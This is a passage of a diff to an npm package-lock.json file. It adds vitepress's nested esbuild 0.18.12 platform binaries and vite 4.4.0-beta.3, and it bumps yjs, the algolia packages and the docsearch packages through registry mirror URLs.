"https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.18.12.tgz", + "integrity": "sha512-AgUebVS4DoAblBgiB2ACQ/8l4eGE5aWBb8ZXtkXHiET9mbj7GuWt3OnsIW/zX+XHJt2RYJZctbQ2S/mDjbp0UA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-s390x": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.18.12.tgz", + "integrity": "sha512-dJ3Rb3Ei2u/ysSXd6pzleGtfDdc2MuzKt8qc6ls8vreP1G3B7HInX3i7gXS4BGeVd24pp0yqyS7bJ5NHaI9ing==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.18.12.tgz", + "integrity": "sha512-OrNJMGQbPaVyHHcDF8ybNSwu7TDOfX8NGpXCbetwOSP6txOJiWlgQnRymfC9ocR1S0Y5PW0Wb1mV6pUddqmvmQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/netbsd-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.18.12.tgz", + "integrity": "sha512-55FzVCAiwE9FK8wWeCRuvjazNRJ1QqLCYGZVB6E8RuQuTeStSwotpSW4xoRGwp3a1wUsaVCdYcj5LGCASVJmMg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/openbsd-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.18.12.tgz", + "integrity": "sha512-qnluf8rfb6Y5Lw2tirfK2quZOBbVqmwxut7GPCIJsM8lc4AEUj9L8y0YPdLaPK0TECt4IdyBdBD/KRFKorlK3g==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/sunos-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.18.12.tgz", + "integrity": "sha512-+RkKpVQR7bICjTOPUpkTBTaJ4TFqQBX5Ywyd/HSdDkQGn65VPkTsR/pL4AMvuMWy+wnXgIl4EY6q4mVpJal8Kg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/win32-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.18.12.tgz", + "integrity": "sha512-GNHuciv0mFM7ouzsU0+AwY+7eV4Mgo5WnbhfDCQGtpvOtD1vbOiRjPYG6dhmMoFyBjj+pNqQu2X+7DKn0KQ/Gw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/win32-ia32": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.18.12.tgz", + "integrity": "sha512-kR8cezhYipbbypGkaqCTWIeu4zID17gamC8YTPXYtcN3E5BhhtTnwKBn9I0PJur/T6UVwIEGYzkffNL0lFvxEw==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/win32-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.18.12.tgz", + "integrity": "sha512-O0UYQVkvfM/jO8a4OwoV0mAKSJw+mjWTAd1MJd/1FCX6uiMdLmMRPK/w6e9OQ0ob2WGxzIm9va/KG0Ja4zIOgg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/esbuild": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.18.12.tgz", + "integrity": "sha512-XuOVLDdtsDslXStStduT41op21Ytmf4/BDS46aa3xPJ7X5h2eMWBF1oAe3QjUH3bDksocNXgzGUZ7XHIBya6Tg==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/android-arm": "0.18.12", + "@esbuild/android-arm64": "0.18.12", + "@esbuild/android-x64": "0.18.12", + "@esbuild/darwin-arm64": "0.18.12", + "@esbuild/darwin-x64": "0.18.12", + "@esbuild/freebsd-arm64": "0.18.12", + "@esbuild/freebsd-x64": "0.18.12", + "@esbuild/linux-arm": "0.18.12", + "@esbuild/linux-arm64": "0.18.12", + "@esbuild/linux-ia32": "0.18.12", + "@esbuild/linux-loong64": "0.18.12", + "@esbuild/linux-mips64el": "0.18.12", + "@esbuild/linux-ppc64": "0.18.12", + "@esbuild/linux-riscv64": "0.18.12", + "@esbuild/linux-s390x": "0.18.12", + "@esbuild/linux-x64": "0.18.12", + "@esbuild/netbsd-x64": "0.18.12", + "@esbuild/openbsd-x64": "0.18.12", + "@esbuild/sunos-x64": "0.18.12", + "@esbuild/win32-arm64": "0.18.12", + "@esbuild/win32-ia32": "0.18.12", + "@esbuild/win32-x64": "0.18.12" + } + }, + "node_modules/vitepress/node_modules/vite": { + "version": "4.4.0-beta.3", + "resolved": "https://registry.npmmirror.com/vite/-/vite-4.4.0-beta.3.tgz", + "integrity": "sha512-IC/thYTvArOFRJ4qvvudnu4KKZOVc+gduS3I9OfC5SbP/Rf4kkP7z6Of2QpKeOSVqwIK24khW6VOUmVD/0yzSQ==", + "dev": true, + "dependencies": { + "esbuild": "^0.18.6", + "postcss": "^8.4.24", + "rollup": "^3.25.2" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + }, + "peerDependencies": { + "@types/node": ">= 14", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, "node_modules/vscode-oniguruma": { "version": "1.7.0", "resolved": "https://registry.npmmirror.com/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", @@ -2904,9 +3337,9 @@ } }, "node_modules/yjs": { - "version": "13.6.2", - "resolved": "https://registry.npmmirror.com/yjs/-/yjs-13.6.2.tgz", - "integrity": "sha512-shFc4JI8Hr3NqKYlS09xX6lyQwU3LvQlOXEkHK2aBa1T/luNLf0qHtoujgb9pRPxhIK0uevobHhDw0+AET1Vkw==", + "version": "13.6.6", + "resolved": "https://registry.npmmirror.com/yjs/-/yjs-13.6.6.tgz", + "integrity": "sha512-VTvezMeMuOra9jKG1Ym5XuQ2H4xXOubIIIupv/B5oygasa9IqDE7Ufv93QTSe9uz69J5VZGMQb2WTEmJv4kJFQ==", "dependencies": { "lib0": "^0.2.74" }, @@ -2918,167 +3351,167 @@ }, "dependencies": { "@algolia/autocomplete-core": { - "version": "1.9.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.9.2.tgz", - "integrity": "sha512-hkG80c9kx9ClVAEcUJbTd2ziVC713x9Bji9Ty4XJfKXlxlsx3iXsoNhAwfeR4ulzIUg7OE5gez0UU1zVDdG7kg==", + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.9.3.tgz", + "integrity": "sha512-009HdfugtGCdC4JdXUbVJClA0q0zh24yyePn+KUGk3rP7j8FEe/m5Yo/z65gn6nP/cM39PxpzqKrL7A6fP6PPw==", "dev": true, "requires": { - "@algolia/autocomplete-plugin-algolia-insights": "1.9.2", - "@algolia/autocomplete-shared": "1.9.2" + "@algolia/autocomplete-plugin-algolia-insights": "1.9.3", + "@algolia/autocomplete-shared": "1.9.3" } }, "@algolia/autocomplete-plugin-algolia-insights": { - "version": "1.9.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.2.tgz", - "integrity": "sha512-2LVsf4W66hVHQ3Ua/8k15oPlxjELCztbAkQm/hP42Sw+GLkHAdY1vaVRYziaWq64+Oljfg6FKkZHCdgXH+CGIA==", + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.3.tgz", + "integrity": "sha512-a/yTUkcO/Vyy+JffmAnTWbr4/90cLzw+CC3bRbhnULr/EM0fGNvM13oQQ14f2moLMcVDyAx/leczLlAOovhSZg==", "dev": true, "requires": { - "@algolia/autocomplete-shared": "1.9.2" + "@algolia/autocomplete-shared": "1.9.3" } }, "@algolia/autocomplete-preset-algolia": { - "version": "1.9.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.2.tgz", - "integrity": "sha512-pqgIm2GNqtCT59Y1ICctIPrYTi34+wNPiNWEclD/yDzp5uDUUsyGe5XrUjCNyQRTKonAlmYxoaEHOn8FWgmBHA==", + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.3.tgz", + "integrity": "sha512-d4qlt6YmrLMYy95n5TB52wtNDr6EgAIPH81dvvvW8UmuWRgxEtY0NJiPwl/h95JtG2vmRM804M0DSwMCNZlzRA==", "dev": true, "requires": { - "@algolia/autocomplete-shared": "1.9.2" + "@algolia/autocomplete-shared": "1.9.3" } }, "@algolia/autocomplete-shared": { - "version": "1.9.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.2.tgz", - "integrity": "sha512-XxX6YDn+7LG+SmdpXEOnj7fc3TjiVpQ0CbGhjLwrd2tYr6LVY2D4Iiu/iuYJ4shvVDWWnpwArSk0uIWC/8OPUA==", + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.3.tgz", + "integrity": "sha512-Wnm9E4Ye6Rl6sTTqjoymD+l8DjSTHsHboVRYrKgEt8Q7UHm9nYbqhN/i0fhUYA3OAEH7WA8x3jfpnmJm3rKvaQ==", "dev": true, "requires": {} }, "@algolia/cache-browser-local-storage": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.2.tgz", - "integrity": "sha512-ZkVN7K/JE+qMQbpR6h3gQOGR6yCJpmucSBCmH5YDxnrYbp2CbrVCu0Nr+FGVoWzMJNznj1waShkfQ9awERulLw==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.18.0.tgz", + "integrity": "sha512-rUAs49NLlO8LVLgGzM4cLkw8NJLKguQLgvFmBEe3DyzlinoqxzQMHfKZs6TSq4LZfw/z8qHvRo8NcTAAUJQLcw==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.2" + "@algolia/cache-common": "4.18.0" } }, "@algolia/cache-common": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.17.2.tgz", - "integrity": "sha512-fojbhYIS8ovfYs6hwZpy1O4mBfVRxNgAaZRqsdVQd54hU4MxYDYFCxagYX28lOBz7btcDHld6BMoWXvjzkx6iQ==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.18.0.tgz", + "integrity": "sha512-BmxsicMR4doGbeEXQu8yqiGmiyvpNvejYJtQ7rvzttEAMxOPoWEHrWyzBQw4x7LrBY9pMrgv4ZlUaF8PGzewHg==", "dev": true }, "@algolia/cache-in-memory": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.17.2.tgz", - "integrity": "sha512-UYQcMzPurNi+cPYkuPemTZkjKAjdgAS1hagC5irujKbrYnN4yscK4TkOI5tX+O8/KegtJt3kOK07OIrJ2QDAAw==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.18.0.tgz", + "integrity": "sha512-evD4dA1nd5HbFdufBxLqlJoob7E2ozlqJZuV3YlirNx5Na4q1LckIuzjNYZs2ddLzuTc/Xd5O3Ibf7OwPskHxw==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.2" + "@algolia/cache-common": "4.18.0" } }, "@algolia/client-account": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.17.2.tgz", - "integrity": "sha512-doSk89pBPDpDyKJSHFADIGa2XSGrBCj3QwPvqtRJXDADpN+OjW+eTR8r4hEs/7X4GGfjfAOAES8JgDx+fZntYw==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.18.0.tgz", + "integrity": "sha512-XsDnlROr3+Z1yjxBJjUMfMazi1V155kVdte6496atvBgOEtwCzTs3A+qdhfsAnGUvaYfBrBkL0ThnhMIBCGcew==", "dev": true, "requires": { - "@algolia/client-common": "4.17.2", - "@algolia/client-search": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/client-common": "4.18.0", + "@algolia/client-search": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "@algolia/client-analytics": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.17.2.tgz", - "integrity": "sha512-V+DcXbOtD/hKwAR3qGQrtlrJ3q2f9OKfx843q744o4m3xHv5ueCAvGXB1znPsdaUrVDNAImcgEgqwI9x7EJbDw==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.18.0.tgz", + "integrity": "sha512-chEUSN4ReqU7uRQ1C8kDm0EiPE+eJeAXiWcBwLhEynfNuTfawN9P93rSZktj7gmExz0C8XmkbBU19IQ05wCNrQ==", "dev": true, "requires": { - "@algolia/client-common": "4.17.2", - "@algolia/client-search": "4.17.2", - "@algolia/requester-common": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/client-common": "4.18.0", + "@algolia/client-search": "4.18.0", + "@algolia/requester-common": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "@algolia/client-common": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.17.2.tgz", - "integrity": "sha512-gKBUnjxi0ukJYIJxVREYGt1Dmj1B3RBYbfGWi0dIPp1BC1VvQm+BOuNwsIwmq/x3MPO+sGuK978eKiP3tZDvag==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.18.0.tgz", + "integrity": "sha512-7N+soJFP4wn8tjTr3MSUT/U+4xVXbz4jmeRfWfVAzdAbxLAQbHa0o/POSdTvQ8/02DjCLelloZ1bb4ZFVKg7Wg==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/requester-common": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "@algolia/client-personalization": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.17.2.tgz", - "integrity": "sha512-wc4UgOWxSYWz5wpuelNmlt895jA9twjZWM2ms17Ws8qCvBHF7OVGdMGgbysPB8790YnfvvDnSsWOv3CEj26Eow==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.18.0.tgz", + "integrity": "sha512-+PeCjODbxtamHcPl+couXMeHEefpUpr7IHftj4Y4Nia1hj8gGq4VlIcqhToAw8YjLeCTfOR7r7xtj3pJcYdP8A==", "dev": true, "requires": { - "@algolia/client-common": "4.17.2", - "@algolia/requester-common": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/client-common": "4.18.0", + "@algolia/requester-common": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "@algolia/client-search": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.17.2.tgz", - "integrity": "sha512-FUjIs+gRe0upJC++uVs4sdxMw15JxfkT86Gr/kqVwi9kcqaZhXntSbW/Fw959bIYXczjmeVQsilYvBWW4YvSZA==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.18.0.tgz", + "integrity": "sha512-F9xzQXTjm6UuZtnsLIew6KSraXQ0AzS/Ee+OD+mQbtcA/K1sg89tqb8TkwjtiYZ0oij13u3EapB3gPZwm+1Y6g==", "dev": true, "requires": { - "@algolia/client-common": "4.17.2", - "@algolia/requester-common": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/client-common": "4.18.0", + "@algolia/requester-common": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "@algolia/logger-common": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.17.2.tgz", - "integrity": "sha512-EfXuweUE+1HiSMsQidaDWA5Lv4NnStYIlh7PO5pLkI+sdhbMX0e5AO5nUAMIFM1VkEANes70RA8fzhP6OqCqQQ==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.18.0.tgz", + "integrity": "sha512-46etYgSlkoKepkMSyaoriSn2JDgcrpc/nkOgou/lm0y17GuMl9oYZxwKKTSviLKI5Irk9nSKGwnBTQYwXOYdRg==", "dev": true }, "@algolia/logger-console": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.17.2.tgz", - "integrity": "sha512-JuG8HGVlJ+l/UEDK4h2Y8q/IEmRjQz1J0aS9tf6GPNbGYiSvMr1DDdZ+hqV3bb1XE6wU8Ypex56HisWMSpnG0A==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.18.0.tgz", + "integrity": "sha512-3P3VUYMl9CyJbi/UU1uUNlf6Z8N2ltW3Oqhq/nR7vH0CjWv32YROq3iGWGxB2xt3aXobdUPXs6P0tHSKRmNA6g==", "dev": true, "requires": { - "@algolia/logger-common": "4.17.2" + "@algolia/logger-common": "4.18.0" } }, "@algolia/requester-browser-xhr": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.2.tgz", - "integrity": "sha512-FKI2lYWwksALfRt2OETFmGb5+P7WVc4py2Ai3H7k8FSfTLwVvs9WVVmtlx6oANQ8RFEK4B85h8DQJTJ29TDfmA==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.18.0.tgz", + "integrity": "sha512-/AcWHOBub2U4TE/bPi4Gz1XfuLK6/7dj4HJG+Z2SfQoS1RjNLshZclU3OoKIkFp8D2NC7+BNsPvr9cPLyW8nyQ==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.2" + "@algolia/requester-common": "4.18.0" } }, "@algolia/requester-common": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.17.2.tgz", - "integrity": "sha512-Rfim23ztAhYpE9qm+KCfCRo+YLJCjiiTG+IpDdzUjMpYPhUtirQT0A35YEd/gKn86YNyydxS9w8iRSjwKh+L0A==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.18.0.tgz", + "integrity": "sha512-xlT8R1qYNRBCi1IYLsx7uhftzdfsLPDGudeQs+xvYB4sQ3ya7+ppolB/8m/a4F2gCkEO6oxpp5AGemM7kD27jA==", "dev": true }, "@algolia/requester-node-http": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.17.2.tgz", - "integrity": "sha512-E0b0kyCDMvUIhQmDNd/mH4fsKJdEEX6PkMKrYJjzm6moo+rP22tqpq4Rfe7DZD8OB6/LsDD3zs3Kvd+L+M5wwQ==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.18.0.tgz", + "integrity": "sha512-TGfwj9aeTVgOUhn5XrqBhwUhUUDnGIKlI0kCBMdR58XfXcfdwomka+CPIgThRbfYw04oQr31A6/95ZH2QVJ9UQ==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.2" + "@algolia/requester-common": "4.18.0" } }, "@algolia/transporter": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.17.2.tgz", - "integrity": "sha512-m8pXlz5OnNzjD1rcw+duCN4jG4yEzkJBsvKYMoN22Oq6rQwy1AY5muZ+IQUs4dL+A364CYkRMLRWhvXpCZ1x+g==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.18.0.tgz", + "integrity": "sha512-xbw3YRUGtXQNG1geYFEDDuFLZt4Z8YNKbamHPkzr3rWc6qp4/BqEeXcI2u/P/oMq2yxtXgMxrCxOPA8lyIe5jw==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.2", - "@algolia/logger-common": "4.17.2", - "@algolia/requester-common": "4.17.2" + "@algolia/cache-common": "4.18.0", + "@algolia/logger-common": "4.18.0", + "@algolia/requester-common": "4.18.0" } }, "@babel/parser": { @@ -3149,30 +3582,30 @@ } }, "@docsearch/css": { - "version": "3.5.0", - "resolved": "https://registry.npmmirror.com/@docsearch/css/-/css-3.5.0.tgz", - "integrity": "sha512-Ob5FQLubplcBNihAVtriR59FRBeP8u69F6mu4L4yIr60KfsPc10bOV0DoPErJw0zF9IBN2cNLW9qdmt8zWPxyg==", + "version": "3.5.1", + "resolved": "https://registry.npmmirror.com/@docsearch/css/-/css-3.5.1.tgz", + "integrity": "sha512-2Pu9HDg/uP/IT10rbQ+4OrTQuxIWdKVUEdcw9/w7kZJv9NeHS6skJx1xuRiFyoGKwAzcHXnLp7csE99sj+O1YA==", "dev": true }, "@docsearch/js": { - "version": "3.5.0", - "resolved": "https://registry.npmmirror.com/@docsearch/js/-/js-3.5.0.tgz", - "integrity": "sha512-WqB+z+zVKSXDkGq028nClT9RvMzfFlemZuIulX5ZwWkdUtl4k7M9cmZA/c6kuZf7FG24XQsMHWuBjeUo9hLRyA==", + "version": "3.5.1", + "resolved": "https://registry.npmmirror.com/@docsearch/js/-/js-3.5.1.tgz", + "integrity": "sha512-EXi8de5njxgP6TV3N9ytnGRLG9zmBNTEZjR4VzwPcpPLbZxxTLG2gaFyJyKiFVQxHW/DPlMrDJA3qoRRGEkgZw==", "dev": true, "requires": { - "@docsearch/react": "3.5.0", + "@docsearch/react": "3.5.1", "preact": "^10.0.0" } }, "@docsearch/react": { - "version": "3.5.0", - "resolved": "https://registry.npmmirror.com/@docsearch/react/-/react-3.5.0.tgz", - "integrity": "sha512-3IG8mmSMzSHNGy2S1VuPyYU9tFCxFpj5Ov8SYwsSHM4yMvFsaO9oFxXocA5lSenliIELhuOuS5+BdxHa/Qlf2A==", + "version": "3.5.1", + "resolved": "https://registry.npmmirror.com/@docsearch/react/-/react-3.5.1.tgz", + "integrity": "sha512-t5mEODdLzZq4PTFAm/dvqcvZFdPDMdfPE5rJS5SC8OUq9mPzxEy6b+9THIqNM9P0ocCb4UC5jqBrxKclnuIbzQ==", "dev": true, "requires": { - "@algolia/autocomplete-core": "1.9.2", - "@algolia/autocomplete-preset-algolia": "1.9.2", - "@docsearch/css": "3.5.0", + "@algolia/autocomplete-core": "1.9.3", + "@algolia/autocomplete-preset-algolia": "1.9.3", + "@docsearch/css": "3.5.1", "algoliasearch": "^4.0.0" } }, @@ -3181,154 +3614,176 @@ "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-arm/-/android-arm-0.17.19.tgz", "integrity": "sha512-rIKddzqhmav7MSmoFCmDIb6e2W57geRsM94gV2l38fzhXMwq7hZoClug9USI2pFRGL06f4IOPHHpFNOkWieR8A==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/android-arm64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-arm64/-/android-arm64-0.17.19.tgz", "integrity": "sha512-KBMWvEZooR7+kzY0BtbTQn0OAYY7CsiydT63pVEaPtVYF0hXbUaOyZog37DKxK7NF3XacBJOpYT4adIJh+avxA==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/android-x64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-x64/-/android-x64-0.17.19.tgz", "integrity": "sha512-uUTTc4xGNDT7YSArp/zbtmbhO0uEEK9/ETW29Wk1thYUJBz3IVnvgEiEwEa9IeLyvnpKrWK64Utw2bgUmDveww==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/darwin-arm64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/darwin-arm64/-/darwin-arm64-0.17.19.tgz", "integrity": "sha512-80wEoCfF/hFKM6WE1FyBHc9SfUblloAWx6FJkFWTWiCoht9Mc0ARGEM47e67W9rI09YoUxJL68WHfDRYEAvOhg==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/darwin-x64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/darwin-x64/-/darwin-x64-0.17.19.tgz", "integrity": "sha512-IJM4JJsLhRYr9xdtLytPLSH9k/oxR3boaUIYiHkAawtwNOXKE8KoU8tMvryogdcT8AU+Bflmh81Xn6Q0vTZbQw==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/freebsd-arm64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/freebsd-arm64/-/freebsd-arm64-0.17.19.tgz", "integrity": "sha512-pBwbc7DufluUeGdjSU5Si+P3SoMF5DQ/F/UmTSb8HXO80ZEAJmrykPyzo1IfNbAoaqw48YRpv8shwd1NoI0jcQ==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/freebsd-x64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/freebsd-x64/-/freebsd-x64-0.17.19.tgz", "integrity": "sha512-4lu+n8Wk0XlajEhbEffdy2xy53dpR06SlzvhGByyg36qJw6Kpfk7cp45DR/62aPH9mtJRmIyrXAS5UWBrJT6TQ==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-arm": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-arm/-/linux-arm-0.17.19.tgz", "integrity": "sha512-cdmT3KxjlOQ/gZ2cjfrQOtmhG4HJs6hhvm3mWSRDPtZ/lP5oe8FWceS10JaSJC13GBd4eH/haHnqf7hhGNLerA==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-arm64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-arm64/-/linux-arm64-0.17.19.tgz", "integrity": "sha512-ct1Tg3WGwd3P+oZYqic+YZF4snNl2bsnMKRkb3ozHmnM0dGWuxcPTTntAF6bOP0Sp4x0PjSF+4uHQ1xvxfRKqg==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-ia32": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-ia32/-/linux-ia32-0.17.19.tgz", "integrity": "sha512-w4IRhSy1VbsNxHRQpeGCHEmibqdTUx61Vc38APcsRbuVgK0OPEnQ0YD39Brymn96mOx48Y2laBQGqgZ0j9w6SQ==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-loong64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-loong64/-/linux-loong64-0.17.19.tgz", "integrity": "sha512-2iAngUbBPMq439a+z//gE+9WBldoMp1s5GWsUSgqHLzLJ9WoZLZhpwWuym0u0u/4XmZ3gpHmzV84PonE+9IIdQ==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-mips64el": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-mips64el/-/linux-mips64el-0.17.19.tgz", "integrity": "sha512-LKJltc4LVdMKHsrFe4MGNPp0hqDFA1Wpt3jE1gEyM3nKUvOiO//9PheZZHfYRfYl6AwdTH4aTcXSqBerX0ml4A==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-ppc64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-ppc64/-/linux-ppc64-0.17.19.tgz", "integrity": "sha512-/c/DGybs95WXNS8y3Ti/ytqETiW7EU44MEKuCAcpPto3YjQbyK3IQVKfF6nbghD7EcLUGl0NbiL5Rt5DMhn5tg==", "dev": true, 